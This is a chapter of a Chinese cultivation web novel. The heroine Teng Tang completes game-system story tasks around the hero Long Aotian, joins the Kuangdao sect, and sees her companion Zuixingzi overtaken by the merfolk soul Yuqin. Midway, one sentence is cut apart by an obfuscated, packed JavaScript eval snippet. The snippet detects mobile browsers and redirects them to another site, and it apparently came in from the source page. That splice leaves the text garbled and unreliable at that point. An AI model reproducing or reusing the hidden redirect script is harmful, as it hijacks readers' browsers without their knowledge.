弄好数值之后,滕棠在背包里点击强制召唤卡。方格中还剩两张,在醉星子身上,她舍得用完。 算算日子,明天又可以买一张。 顷刻之间,一个身形颀长的男人躺在面前,身下的鱼尾忽隐忽现,最后定成一双被暗蓝纱衣覆盖的长腿。 他的腰间挂着一条海带,混在深蓝色的卷曲长发里,没有丝毫违和感。 醉星子单手撑起上半身,右手扶额,慢慢地回过神,狭长的眸里蓝波流转。 他看了一眼滕棠,足前生起波涛,涌出翻卷的海水。 随后,那些水花被他收了回去,他的表情不断变化。玄冰雕的眼珠,装盛了一湾暗澹,粼粼发光。 大约两秒后,醉星子才真正苏醒过来。 滕棠被对方的美貌惊呆,须臾,又想起上次强亲人家,脸颊升温:“我召唤了……”你两次,你可以出现四十息。 然而自己的伙伴总是来得快、去得也快,很少将她完整的话听完。醉星子苏醒后,连个招呼都没打,足下生浪,踏浪而行,不受秘境的空域限制,往天上蓝宝石飞去。 留下滕棠一人在珊瑚丛里托腮,甚是纳闷,暗忖,急什么急,你有四十秒的时间,大乘期的实力,无论想做什么,都来得及吧。 不过走得快挺好的,滕棠转念一想,要是醉星子耽搁在这儿,问她上次强抱强亲的事,她还不好解释。 没有去管醉星子要做什么,滕棠把面纱戴好,准备去红珊瑚岛给龙傲天当观众。 主线任务给的奖励比支线好,滕棠哪怕再厌恶龙傲天,也不得不为经验值与基础值翻倍卡低头。 谁让她太弱,三番五次险些挂掉,到头来一直靠伙伴救命。她想变强,遇到问题能自己解决。 在地图上标好点,滕棠点击[自动寻路],跟着地面的路标,慢慢走出了蓝岛。 红珊瑚岛为右数第二个岛,体积比蓝岛要小一圈。 火红的岛上,同样长满深浅不一、品种不同的红珊瑚,唯一打眼的是,空中飞着很多彩色翅膀的灵鸟。 珊瑚秘境的天空设有阵法,不可御空的限制仅针对外来的修者与妖兽,因此岛上的灵鸟没有被捕猎的烦恼,能够自由自在地翱翔天空。 滕棠登上岛屿后,发现红珊瑚岛的地形很特别,和左二的黄珊瑚岛一样,整体呈斜坡状。北边有个九十度的直立悬崖,崖之顶为圣殿所在。 踩着柔软的红珊瑚,如同走山梯般,拾级而上,滕棠望着顶上的庞然巨物,觉得很奇怪。别的珊瑚岛或者圣殿,通体只有一种颜色,而这红岛圣殿,不仅由红色珊瑚长成,中间还长着几株金色的珊瑚。 她走近呈“大”字型的圣殿,再次听到一阵人鱼之声,而后明白过来,这是一座炼体圣殿,赤血珊瑚代表血肉,黄金珊瑚代表经脉。如果天赋极佳者走进去,攀上五楼,将会获得极大的机缘,炼成赤血黄金之身。 “血珊瑚圣殿,助我族后辈强韧筋脉和血肉。来者沐浴池中,若能在半载岁月内……” 越过洞门,圣殿里面非常宽阔,有无数个四四方方的水池,此时,一大半格子里都泡着个人。滕棠进入后,差点以为这里是澡堂。 龙傲天的爆炸性红发,在众人之中十分醒目。他不管在哪儿,都是人群的焦点,非常好找。 滕棠一眼找到人,登时,脑中的主线任务显示[正在进行]。 龙傲天双目闭合,坐浴红池之中,对周边的事不闻不问。他池子里的水水位很低,血珊瑚汁比其他人少了九成。 滕棠知晓他有玄眼,特意选择他身后的某个池子,泡进去后,只露出一个头。 捧起绯红如血的水,用精神力探入其中,里面确实含有强韧肉-体的力量,不过这股力量很难吸收,且圣殿的规则是,必须把初级血池的力量吸收完,才可上楼进入圣殿二层,获得中级血池的使用资格,之后是三楼、四楼、五楼,时间限制为半年。 滕棠试着吸收了一点,顿时痛得脸色发白,转瞬明白她血肉经脉的天资太差,不可强行吸收这些天材地宝的力量。 她望向龙傲天,对方进血色圣殿才两日,就吸收了九成血珊瑚汁,且面上毫无痛意,比喝水还简单…… [完成主线任务一] 滕棠用手拂了两下血珊瑚汁,无法白嫖到好处,不免露出失望的神情。 看来这方面只能靠氪金了,血肉的强化,可以在商城买血肉增强液,经脉方面则是氪天脉石,若打通所有经脉,她离成仙也不远了。 如果我有钱多好…… 翻开历史信息,主线任务一完成,奖励的五百上品灵石,只够买五块天脉石。 奖励的经验值倒是喜人,已经填满经验条的中段,算一算,再完成两个支线任务,应该能升到31级。 滕棠把新获得的[基础数值×2]卡,继续添给[生命]。 看到血条再次延长一段,她有种安心的感觉,幻想着,如果基础数值翻倍卡都加血条或防御,别人打她,是不是跟挠痒痒差不多? 随后她摇摇头,站着被打的滋味不是很好受,把基础数值翻倍卡用在攻击上、速度上,也是不错的选择,强到一刀下去,直接把大boss劈没,或者脚一蹬,瞬间跑没了影…… 看来要多做剧情任务了,她好几项基础数值都想翻倍。 打开主界面,左侧任务栏中,主线剧情的章节名已变为[初出茅庐·二]。 下方列有三项,皆是灰色的不可进行,需要完成前置任务:[去蓝珊瑚岛找龙傲天对话。▽31天20时14分22秒] 对话?滕棠见到他,说不出什么好话。 且一个月的时间,这也太短了吧,龙傲天此刻在红珊瑚岛上,不知要待多久,出去后是否会前往蓝珊瑚岛,这些都是未知数。 滕棠惆怅地退出系统界面,视野回归于圣殿之内。 没过多久,安静的血珊瑚圣殿,忽然人声鼎沸。滕棠看到了重重人影,池中的珊瑚汁往一边倾斜,快漫出池边。 “外面发生了何事?”有几人问门口的修者。 门口的人一脸慌张,进来后大喊道:“付庆城你在哪儿?外面出现了好多人鱼,他们在杀人!你徒儿被拽入海水中,生死不知。” 他的声音充满恐惧,喊得在场所有人都紧张起来,再也坐不住,皆离开血珊瑚水池,往圣殿外跑。 修者一窝蜂出去,几乎把门口的珊瑚树撞倒。滕棠慢悠悠地起身,跟在龙傲天后面,心里还想着她的任务。 外面发生了何事?龙傲天接下来会去蓝岛吗?对话只要一人说一句就行了吧? 走出绯红的圣殿,滕棠望一眼天空,直觉不对。 那颗巨大的蓝宝石变得更庞大了,坠落下来一段距离,肉眼看去,产生幻觉,仿佛伸手可碰。 它的楞面与之前不同,似乎向左旋转了四五十度,将背后光滑的圆面露出三分之二。 蓝宝石光芒晦暗,底下海水颜色随其变深,此刻接近藏蓝色。 大海冲击五座岛屿,浩浩汤汤,掀起万仞高墙的浪,一遍又一遍洗刷五座珊瑚岛屿。 海水漫灌,岛上所有人都被泼了一身海水,长发浇得贴紧头皮,双目视线被糊住。 滕棠抹净脸上的水,觑起眼睛往悬崖下看,顿时一惊,以为自己眼花了。 她看到了一大片标识,比长生树还要多。 岛屿已经被人鱼幻影、人鱼遗影包围,他们密密麻麻地潜伏在海中,每一道实力都在金丹往上,数量之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032730|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多,好比大海里的水,无从数起。 “小心!” 忽然天旋地转,五座岛屿再次倾斜,朝西方歪去,最西边的紫珊瑚岛几乎没入海中。最东的白珊瑚岛则峭立起来,暴露出底,现在成了五座里面最高的岛屿。 滕棠从红珊瑚岛的悬崖之巅眺望,依稀能看见鱼尾型的白色圣殿,她发现白岛越来越高,而自己脚下的地越来越斜。 注目向天空的蓝宝石,它的位置更低了,离蓝珊瑚岛异常近,又旋转了约二十度,几乎完全翻转过来,看不到有楞的那一面。 海浪拍打岸边,挞过岛中珊瑚,并不退去。 蓝得发黑的水在珊瑚之间汹涌,逐渐变成一只只人鱼,从岛屿底端往上爬。 他们仇视秘境入侵者,见到外来者,便用尖锐的牙齿与锋利长爪撕咬对方。 “啊啊!”惨叫声拉紧了众人心中的那根弦。 无数人鱼幻影或人鱼遗影,开始捕杀岛上的修者。 人鱼的模样和平时不同,长出了最原始的尖牙,口中细密三排,鳃下还吊着两个大毒囊。 在黛蓝色的宝石光芒下,成千上万的浪化为无所畏惧的人鱼,疯狂地猎杀外来入侵者。 “快看那边!去蓝岛!”人群中,一名元婴期的修者大喊道。 所有人朝远处的蓝色岛屿眄视,只见那边风平浪静,没有海浪的侵扰,没有人鱼上岸诛戮。 龙傲天反应最快,半边身子覆盖鳞片,厮杀在最右方。他撕碎四条人鱼遗影后,从悬崖边缘跳进海中,一边护着要害,一边游向蓝岛。 其他人没有那么大胆,惊慌失措不知如何是好,跳下去是无数人鱼,对他们来说更为不利,在岛上和其他修者联手对付,好歹有一线生机。 滕棠立在悬崖边,低头向下看,苦心焦思,她怎么过去?矿神金装只能免除十秒伤害,时间不够她游过去。 她用长刀砍灭两条人鱼,朝龙傲天那边望。海里的龙傲天浑身是伤,血液在大海开出一朵花,晶红的颜色在靛蓝海水中十分妖异。 天空的宝石再次垂落,慢慢旋转,将楞面完全掩藏起来。 五座岛屿跟着倾斜,白珊瑚岛已经完全脱离海水,翘起底部纯白色的长廊。而最远方的紫岛相反,完全沉没进海洋之中,只剩顶端的圣殿。 滕棠一直关注着龙傲天,发现对方身上的男主光环确实强大,在那么多人鱼的围攻下,他已经抵达蓝岛边缘,没有缺胳膊少腿,只是流了些血液而已。 “空中法阵消失了!”一名元婴五层的修者在陷入绝境之时,试着踏空闪躲,没想到居然飞上天,避开了人鱼的撕咬。 红岛上的众人望向那名元婴修者,皆欣喜不已。 “快快!用法术赶走空中的彩色灵鸟,我们到蓝岛上去!” 数名修者踩上灵剑,或直接踏空而行,飞快逃往蓝岛。 滕棠本来也打算御刀飞行的,结果收到系统消息:[你的徒弟李偲缨正在召唤你,是否前往?是否] 滕棠毫无犹豫地点击[是],眨眼间,其他红岛的修者还在天上驱赶彩色灵鸟,她已经出现在灵魂圣殿附近,和李偲缨在一起。 “师父!”李偲缨脸上的白色面纱飞扬,整个人扑进滕棠怀里。 她惊讶于符纸真有如此功用,即刻便把她师父传送过来。这得是多厉害的符师才能炼出来,有此实力的,该是符仙才对。莫非她师父是仙人? 李偲缨崇拜地站在滕棠身侧,指着不远处的圣殿道:“我方进去几个时辰,灵魂石投射下来的蓝光倏地隐灭,大家都没法浸心于一念道之境,等我们出来后,灵魂珊瑚就长成了这样。” 滕棠顺着她手指方向看去。灵魂圣殿已经大变样,外观好似被修剪过的灌木,盘错的珊瑚不再像海浪,更像一个巨大的圆盘,周围衍生出类似花萼的珊瑚枝。 “灵魂石?”滕棠注意到李偲缨刚才的话,问她:“天上的东西叫灵魂石?你如何得知其名?” 李偲缨笑盈盈地指向人群中的两名修者,正是刘仁和刘慈。他们也刚好看过来,挥了下手。 “他们叫刘仁刘慈,说之前在白色圣殿见过我,同我讲起师父,说了不少事。”李偲缨道。 滕棠悄声问她:“你没被万丹山的人找麻烦吧?” 李偲缨摇摇头:“师父说过要小心万丹山,我一直避着他们。” “这就好……”滕棠抬头,看见刘仁刘慈往自己这边走,还拉了个中年相貌的女修。 “不过有个蓝发男子向问我师父的行踪,面色异常急切,我问他门派,他不说,我便拒绝了他,没想到,他竟想搜我神识。”李偲缨委委屈屈地道。 “等等……”滕棠转身问:“是不是头发很长,有些卷,衣服为暗蓝色,长得很俊美?” “师父您认识?”李偲缨点点头,庆幸地说:“还好他伸手时,改变了想法,突然不搜我神识了。最奇怪的是,他离开前,双腿变成了鱼尾巴。” 李偲缨话音一落,刘慈刘仁来了。 刘仁拉着和蔼的女修,给滕棠和李偲缨介绍:“这是我们狂刀门二长老。” 哥哥说得也太简略了……刘慈很怕错过面前两位天赋异禀之人,赶忙补充:“滕棠姐姐,你们二人既无门派,何不加入我们狂刀门?” 滕棠呆呆傻傻的,脑子里还在想醉星子的事。他在蓝岛上?没消失? 她朝刘慈客气地点了下头,说了声“好”,随后问李偲缨:“那个蓝发男子,你什么时候遇见的?” [叮!成功加入狂刀门。] 72. 第 72 章 什么鬼?这就加进去了?她连门派的衣服令牌都没有…… 滕棠打开系统,点击下方的[门派]。主界面一闪,显示出狂刀门掌门的半身人像。 男人鹤发童颜,双手举着一把厚重的大刀,眼神凌厉地瞪着滕棠,好似准备打一架。 他的身下有几个方框:[门派任务]、[兑换阁]、[退出门派]…… “我就在这里遇见他的,召唤师父,便是因为此事。我怕那长出鱼尾的男子是师父仇人,要杀我,于是急急忙忙把符箓用了。” 李偲缨见滕棠一脸呆滞,毫无反应,便甩甩她的衣袖:“师父?” “没事,有师父在,他不会伤害你的。”滕棠回过神,出声安慰她。 她刚想和李偲缨细谈,醉星子具体说过哪些话,问完她行踪后去了哪儿。 但旁边还有三个狂刀门的人。 “滕姐姐,你是这位姐姐的师父?你们不是亲姐妹吗?”刘慈对二人的关系感到疑惑。在白色圣殿那会儿,滕棠不是说,地上躺着那位是她胞姐么,叫什么艾睡觉。 “不,不是,我与你们说过,我叫李偲缨,你们怎么不信呢?”李偲缨满面笑容,推滕棠上前:“她是我师父,我们不是亲姐妹,却胜过亲姐妹,我师父对我可好了。我师父乃天仙下凡唔……” 她正要说滕棠有多厉害,才开个头,就被滕棠捂住嘴,遭一个眼神镇住。 李偲缨露出秒懂的眼神,谦受益,满招损,师父为人谦逊,不喜簇拥。如果她把师父的身份说出去,容易给师父招来很多麻烦事。 有新弟子加入门派,二长老祁长兰很高兴,为表诚意,从储物戒里拿出两个储物袋,分别递给李偲缨和滕棠,这原本是为她自家徒弟准备的,没想到在秘境里派上了用场。 她上下打量滕棠,心中同样存有疑问:“你们真是师徒?” 哪有徒弟实力比师父强的。 她虽然听刘仁说了,滕棠是筑基的五灵根,但这又如何,筑完基还有金丹,金丹之后乃是元婴、出窍、分神、合体……往后的境界,单灵根都难突破,莫说五灵根。 祁长兰的内心想法颇多,面上未显露出来,她言辞犀利道:“你们即使是师徒,拜入门派仍要讲究规矩。按实力论辈分和地位,恐怕这位师父在门派里,要称徒弟为师姐了,私底下你们怎么叫都无所谓,明面上的规矩一定要有。” “二长老。”刘慈用手指勾了下祁长兰,示意她别把人吓跑了。 狂刀门本就是个不出名的小门派,再不招点人,以后百盟大比可怎么办。 “抱歉,我这人说话不太好听。”祁长兰朝李偲缨道。 她并未看滕棠,许是觉得滕棠天赋太差,五灵根只强一时,往后总归要埋入黄土。 不过,这五灵根的女修运气是实打实的好,不仅筑基成功,还收了个单灵根的女徒弟。 最重的是,李偲缨是变异冰灵根,世间罕见,后期的实力会比普通单灵根要强。就像近些时日,那个火遍天央大陆的龙傲天,其灵根便是变异雷灵根。 祁长兰看李偲缨的目光,越发热络,恨不得把滕棠的徒弟抢过来,收到自己麾下,变成自己的徒弟。 她的反应和区别对待,让刘仁和刘慈在一旁有些尴尬。 两兄妹一个劲地跟滕棠讲话,将她注意力转移走,免得被祁长兰的态度伤到心。 所幸滕棠在这些事情方面,没有那么在意,脸上还带着笑。 “我们掌门是天下第一刀——司徒福禄,他的刀法已臻至巅峰,练就十层刀域……” 刘慈已将当初之事抛于脑后,忘了自己之前有多恐惧滕棠。她没有她哥那么内敛,不停地夸着狂刀门有多厉害,掌门如何威风。 滕棠听了半晌,总结出六个字——小门派、大掌门。 狂刀门在百年前新建立,只有一千名弟子,整个门派上下,唯掌门镇得住山,有大乘七层的实力,加上刀法和刀域,能与渡劫初期的修者一战。 除开掌门,其他人的实力都不能看,大长老只有分神五层的实力,二长老为分神一层,其余长老皆在出窍期和元婴期。 天央大陆强者如云,狂刀门和其他门派比,在百门盟里,完全是吊车尾。 滕棠倒没嫌弃门派太小,不够厉害。相反,她很庆幸遇到刘仁刘慈,才有机会加入门派。 天央大陆的门派就那一百来个,对弟子资质要求极高,只收三灵根、双灵根、单灵根,四灵根他们完全瞧不起,收来只能做杂役,而五灵根则直接忽略,反正也碰不到几个。 之前门派功能开启的时候,滕棠还担心没有门派要自己,没想到刘仁刘慈给她送来一份大礼。 因此无论祁长兰如何看低自己,滕棠都不介意,反而觉得,这些人邀请了,后面千万别反悔才好。 她指望着做门派任务,拿成就点换稀缺资源呢。 李偲缨对狂刀门没什么兴趣,她离开祥天门之后,哪个门派都不想进。 如果不是滕棠同意拜入狂刀门,她肯定会拒绝刘慈等人的邀请,因此祁长兰和她攀谈时,她表现得不是那么专心。 “师父,你看他们都往灵魂宝石那儿凑,我们不去吗?” 李偲缨一直观察其他人的动向,见大家都往灵魂宝石冲,未免焦急,怕师父落后,没抢到宝物。 天空中的蓝宝石缩小了几倍,仍庞然一块,已经完全坠落下来,覆压在花萼形的灵魂圣殿上。 它两个面都变光滑了,边缘还有融化的迹象,似锻造中的灵器,逐渐和灵魂圣殿糅合在一起。 众人都在围观,有人说这是真正的秘境入口,进到灵魂宝石内,就能找到珊瑚王冠。 又有人说珊瑚王冠在海底,说不定已经被谁寻到,否则那些人鱼幻影为何发疯? 议论纷纷声中,没有一个人敢下结论,因为大家都没见过珊瑚王冠,只知其名,不知其貌。 何况珊瑚王冠一直承载着开启圣殿的使命,极少被族长戴在头上,即使是人鱼族,也不一定知晓珊瑚王冠的样子。 滕棠想起自己还有主线任务,在成千上万的人群中晃了一眼,锁定一个红头发的男子。 “过去瞧瞧。”她对李偲缨道。 她说什么,李偲缨都愿意听。而李偲缨要做什么,祁长兰都很在意,连带着刘仁和刘慈,都要跟着去灵魂宝石那儿。 滕棠回头看了一眼四人,怎么感觉自己成了队长? 行至灵魂圣殿附近,滕棠离龙傲天的距离,只有一两百米。 这时,系统跳出对话框,让滕棠无语凝噎。不是对话吗?怎么还要固定内容…… [你:好久不见,想不到你在这里,莫非也是为了珊瑚王冠?] 滕棠难受了一会儿,打开奖励反复看五遍之后,才有动力前去完成任务。 她拉开李偲缨挽着自己的手,和对方讲:“看到那个红头发的了么?” 李偲缨伸着脖子望了望,嗯了一声,问:“他怎么了?” 滕棠一脸凶恶:“你一定要远离他!” “为何?” 李偲缨初看龙傲天,还有点心动,抑制不住自己跳动的心脏。 直到滕棠附耳,言起龙傲天曾经在她冰棺上做的事,以及对她神体的觊觎,她跳动的心才冷静下来,被反感占据。 “竟是个人渣。”李偲缨啐了一口。 “什么,谁是人渣?”刘慈在旁边懵脸,转而望向自己的哥哥。 刘仁的脸腾地变红,忙开口道:“我是个好人。” “不是说的你。”滕棠朝他摆手。 末了,又拍拍李偲缨的肩:“你在此地不要乱动,我去跟那人说几句话。” “师父你干甚,莫理会他!”李偲缨有些生气。 滕棠望天,她能怎么办,奖励摆在那里,不可能白白放弃吧。 未解释太多,她在商场买了一套带妆的打扮,将矿神金装放在能秒换的位置,捂好面纱,走到龙傲天背后,捏起嗓子。 “好久不见,想不到你在这里,莫非也是为了珊瑚王冠?” 龙傲天转身,盯着她瞧,玄眼开启后,一秒认出:“棠儿丫头?”他见过那么多人,只有滕棠的命字是空白的。 我不该浪费钱买套装……滕棠肉痛地想。 龙傲天欣喜地上前一步,暗中扣动戒指,杀意掩藏于掌中:“你终于肯跟我和好了?” 突然间,面前掉落一根海带,绿油油的,又新鲜又厚实,表面还有层水。 醉星子从天而降,站在二人中间,扫了一眼滕棠,回头对龙傲天秒出手,一手夺向不死神戒,另一只手屈成人鱼的利爪,掏向龙傲天要害。 但龙傲天可是变异雷灵根,他在躲避招式这方面,向来厉害,全身灵力化雷,足尖轻轻一点,擦脸躲过醉星子的爪子。 滕棠满头问号,打开背包,里面躺着一张召唤卡,她确实没有召唤醉星子,是这人自己出现的。 系统出了bug? “徒儿!”空中出现一声怒喊。 龙傲天在浮世门拜的师父,带着几个同门修者,一齐上来抵御醉星子的攻击。 老头交手几招,发现醉星子极为厉害,连忙望向底下的九炼宗,大声喊道:“酒兴尊者,助我一臂之力!” 被喊的那人中年相貌,看着才四十岁左右,然而却有大乘一层的实力,他听见老头的声音,没有多想,直接出手相助。 可惜几人联手,仍不能对敌醉星子。这大乘六层的高手从哪儿冒出来的,为何从未见过? 龙傲天的师父认识在场不少人,越叫越多,最后只剩万丹山、绝音谷和一些小门派的人未上去,其余修者皆前去相助,将醉星子团团包围。 滕棠傻眼,这是什么情况?醉星子和龙傲天有仇?上次在锤骨圣殿,龙傲天惹到了他?不对吧,当时她在场,醉星子明明没怎么注意龙傲天啊…… [你:我见过无数英俊之人,他们都比不过你,你一笑,江山失色,你是这世间最令我动心的男子!] 系统的对话框跳出来,滕棠看了一眼,太阳穴突突直跳。这话,她对龙傲天说得出口? 她再次打开奖励,反复看了几十遍,才产生一丁点儿动力。只是说一句话,又不会少一块肉,恶心自己两秒,换取一堆奖励…… 滕棠不断在心里安慰自己,御刀混进乱斗的人群中,面朝龙傲天,小声念出对话框的字。 谁料龙傲天和醉星子的耳朵异常灵敏,在刀枪剑戟声里,皆捕捉到她的声音,齐齐转过头,都以为在说自己。 龙傲天自负自满,大笑一声:“丫头,我现在不得空,待会儿再说。” 这女人是回心转意了?也是,自己乃无烬神龙与玄眼族的后裔,赤发金眸,女人见之倾心,在场有谁比他帅,世间有哪个男子胜得过他?滕棠必然是想明白了,于是乔装打扮,想重新接近自己,和自己交好。 如果她愿意拱手交出神物,他可以顺势交好,如果她仍独占宝贝,不送予他,那就别怪他心狠手辣了。 “……”醉星子倒不觉得滕棠是说给龙傲天听的,自上次被滕棠扑倒,强抱强亲,他在海带丛中思量许久。 女子大都心仪五官俊美的男子,滕棠亦不例外。 他前几个被滕棠召唤的分-身样貌太普通,没让滕棠动心。这具分-身不受控制,露出一半本貌,再和鱼琴的一半面容结合,露出的容颜惊为天人,自然将滕棠的心勾走…… 墓海里,岑云岭的手一直按在被滕棠亲吻的脸颊上,左思右想之后,最终决定,改变剩余几个未被召唤过的分-身,统统改头换面,个个俊美无比,让女子芳心大动、神魂颠倒。 可是他没有想过,万一滕棠对每一个分-身都动心,那该怎么办。 因为滕棠的话,岑云岭不慎走神,被一把灵剑划到右手臂。他左手一拂,手臂上的伤口转瞬愈合。岑云岭的内心泛起圈圈涟漪,过了许久才平静。 退出法术乱飞的人群,滕棠等着系统的下一个对话框,心中疯狂祈祷,赶紧结束吧,别再折磨她了。 或许是系统听到了她的心声,还真的没有弹出难以启齿的文字,而是选择题。 [为他疗伤] [问他对珊瑚王冠的看法] [撤回刚才的夸赞] 滕棠毫不犹豫,选了最后一个选项,重新挤回人群中。下一刻,她的嘴不受控制道:“我刚才说的都是假话。” 那二人又回过头,皆以为她对刚刚的夸赞感到不好意思。 龙傲天油腻腻笑了一声,正要说“有什么害羞的”,被他浮世门的师父敲了下头。 “徒儿,别分心。” 岑云岭听见龙傲天的话,愈发看不惯眼前的红毛龙人,出手一招比一招狠。 [完成‘初出茅庐·二’第一项任务] [获得300上品灵石] [龙傲天好感度+10] [触发支线任务] 第一条任务完成后,滕棠领到三百上品灵石,弥补了点儿内心的伤害。 她打开游戏界面,[初出茅庐·二]已经给出第二条:[围观龙傲天求爱鱼琴,和厉秋对话……] “呼……”她松了口气。当观众的任务,最是舒心,她不排斥和厉秋说话,毕竟两人并不相识,都是陌生人,没有嫌恶与仇恨。 滕棠点开支线任务栏,上面还留着与厉秋、淘泽姳相关的两条任务,一个要求在白骨圣殿,一个要求在紫岛海底…… 这两个应该是完不成了,白骨圣殿被人鱼幻影、人鱼遗影占据,厉秋不可能过去,而紫岛已经完全沉没,淘泽姳去紫岛海底做什么?去人鱼幻影与人鱼遗影的老巢找死吗? 这两项任务简直是地狱级难度,滕棠顿感心痛,将注意力转向新增的一条:[鱼琴为龙傲天化女身,想戴七彩珊瑚编织的王冠。‘前往’] 这项任务不知能不能做,鱼琴和醉星子双魂一体,化女身怎么个化法,她不得而知,只知七彩珊瑚应该很难寻找。五座岛屿只有一种颜色的珊瑚,海底倒是有五颜六色的珊瑚,但她没见过七种颜色的,且现在海里全是人鱼幻影、人鱼遗影,她不敢下去冒险。 哎,怎么都这么难做。 游戏系统发布的剧情任务,皆和原故事有关,可惜眼下,因为滕棠的存在,人物关系、事情发展已经大变样。主线任务虽然有些变动,让她向龙傲天示好,似乎在努力将剧情拉回正轨,但恶心自己的表白、莫名其妙的对话,让她无所适从…… 暂时不能做支线任务,滕棠感到万分可惜,只能把目光放在主线剧情任务上,希望后面的要求不要超出自己的底线,比如和龙傲天卿卿我我,或者让自己和龙傲天进行鱼水之欢。 她退出游戏界面后,来到厉秋附近,准备继续做主线剧情任务[初出茅庐·二]。 厉秋是九炼宗的弟子,她师父正是酒兴尊者,见龙傲天被突如其来的高手攻击,她在一旁看得焦急。 期间,她又看到一位身形偏瘦的女子,两次闯进混斗之中。女子没出手相助,张口不知道说了什么,令龙师兄和穿暗蓝黑纱的男子分神。 厉秋的注意力本不在这名女子身上,但对方突然来到自己身旁,开口一张破锣嗓,与她说些莫名其妙的话。 “姑娘,我真不认识你。”她瞧了半晌,没认出对方是谁,只觉滕棠的妆容打扮有些怪异,不像天央大陆的人。 穿着[黑暗女巫]套装的滕棠闭口不言,不太在意厉秋的反应。她静静等待系统的下一个对话框,顺便盯着天上,围观龙傲天和醉星子的打斗。 [初出茅庐·二]的第二项任务,主要是围观龙傲天,围观对方求爱鱼琴。 这让滕棠不得不多想…… 主线剧情任务她已经完成一个,当时在红岛上,她不认为龙傲天会来蓝岛,结果事情的发展超出她的预料。任务甫一出现,秘境就发生了变化,龙傲天从红岛离开,游向了蓝岛。 如果按照剧情任务那样发展,她要[围观龙傲天求爱鱼琴],岂不是说,醉星子会变成鱼琴?她的伙伴会消失? 就在滕棠担忧自己的伙伴时,天上的醉星子果然出现了状况。 天空中,长发卷曲的男子忽而动作滞缓,受了几处轻伤。他看起来神魂错乱,一会儿面寒如冰,一会儿面色疯狂,身体表面竟然长出细密的鳞片,身下暗蓝色的纱衣颜色不定,忽蓝忽黑,随后长出光滑的鱼尾。 鱼尾没有出现多久,仅是一瞬,又收了回去,变成被纱衣遮住的双腿。 “天雷来!”龙傲天大喝一声,额头两个小角雷电交加。 不出片刻,天空降落一道粗壮的紫雷,劈向表情不断变化的醉星子。 呲嗞—— 醉星子以一敌千,还要提防识海被鱼琴侵占,最终寡不敌众,拗不过天道命运,佯魂遭到珊瑚王冠和天雷的压制,沉睡了下去。 鱼琴一出现,他的脸开始变得稍圆,两腿延长,幻化出巨大的鱼尾。头发和眼睛的颜色皆有变浅,样貌美得雌雄莫辨,不过他的眼神太过阴毒狠厉,少了几分人鱼的蛊惑感。 “天啊,他是不是鱼琴的本体!鱼琴没死?”有人惊呼道,忆起自己看过的某些史书图册。 人族对人鱼族一直抱有好奇心,几乎所有门派的藏书阁中,都珍藏着和人鱼相关的玉简、书籍,因此有不少修者见过鱼琴的画像。 “是他!绝对是!我们困住他,问出珊瑚王冠的下落!”龙傲天旁边的老头突然激动,将自己的底牌全部掏出来,野心勃勃地想拿下鱼琴。 他洞虚八层的实力,与大乘六层的鱼琴相差甚远,但表情全然不惧,因为周围有上千修者帮他,他就不信,这么多人,还拿不下鱼琴。 不仅天空中的修者激动不已,连底下观望之人都蠢蠢欲动,想从中分一杯羹。 不过,他们的合力一击,仿佛一拳打在棉花上,没有伤害到美丽耀眼的人鱼,被一束蓝光给拦下。 灵魂圣殿奔涌出磅礴的精神力,将所有的灵力与武器罩住。巨大的威压,让在场所有人生不起反抗之心,一时怔愣在当场。 众人头上的那颗蓝宝石,此时熠熠生辉,像一位天神的识海,无穷无尽。它散发的精神力和常人不同,并非无形无色,而是蓝如海水,又浅又柔。 “鱼琴真的没死!他还能动用珊瑚王冠的力量……”一众修者心悸不已,你看我我看你,谁都不敢轻举妄动。 鱼琴避开第二道天雷,全身长满青瓷色与宝蓝色的鳞片。他的面容再次改变,越来越恐怖凶残,看不到一丝美感。 他舞动双爪,一张口,满嘴尖牙,与原始人鱼族十分相像:“龙傲天,你喜欢我吗?” 鱼琴失去肉身,不仅灵魂残缺,剩下一半,连人鱼之声也只剩一半。不过,在大乘六层的实力下,即使人鱼之声仅一半,也足以震慑龙傲天的灵通。 强大的精神力瞬间侵入龙傲天的识海,美妙的声音,让龙傲天飘然若仙。 鱼琴不知道,即使他不诱惑龙傲天,对方也会跟他攀好。 龙傲天傻愣愣地点头:“喜欢!喜欢!”毫无察觉对方用的是男声和男身。 他像之前的滕棠,被夹杂精神力的人鱼之声冲昏头脑,只想听对方说话,为对方做任何事。 识海中的火龙感受到外力入侵,大吼一声,试图冲破强大的束缚力。 龙傲天略有摆脱,玄眼一开,看到鱼琴身上的天赋之字和命字,心神又沉了下去,半被蛊惑,半是清醒。 他没被鱼琴的外貌吓到,目光牢牢锁在对方的命字上,习惯性地用起撩妹话术,问鱼琴:“你愿意当我妻子么?我这辈子都会对你好的。相信我,我龙傲天对天发誓,将来化身为傲视天下的神龙,定会对你不离不弃。” 鱼琴睖睁出神,不是被龙傲天感动到,而是诧愕此人如此好蛊惑。 他收回精神力之海,没有再动用人鱼之声,用普通的声音重新问了一遍:“龙傲天,你喜欢我?” 龙傲天邪魅一笑:“喜欢!” 滕棠一边围观,一边站在厉秋旁边念台词,语调丁点起伏都没有,比系统的声音还要冷漠:[龙傲天真帅,他和鱼琴真是天造地设的一对。] 厉秋瞵视她:“你瞎了,那人鱼是男的,还长得如此丑恶。” 滕棠一门心思在剧情任务上,未管她什么反应,继续念方框台词:[鱼琴的女身真美,她的血是蓝色的,龙傲天是红色的血,他们以后的孩子会是什么颜色的?] 她心里装着很多事,醉星子沉睡后还会醒来吗?醉星子状态如何?龙傲天要是求爱成功,肯定会帮鱼琴消灭醉星子的灵魂吧? “疯子。”厉秋骂她一声,默默地远离她。 [厉秋好感度-10] 厉秋走后,[初出茅庐·二]第二条任务显示完成,跳出最后一条:[围观龙傲天和鱼琴在一起,并送上祝福。▽23小时10分59秒] 滕棠:“?” 鱼琴现在没化女身吧,胸膛平平,面貌可怖,声音偏向男性,游戏是怎么判定前一条任务完成的? 龙傲天后宫虽多,但个个美艳动人,他真要和面前的鱼琴在一起?说他是真爱,滕棠绝对不信。 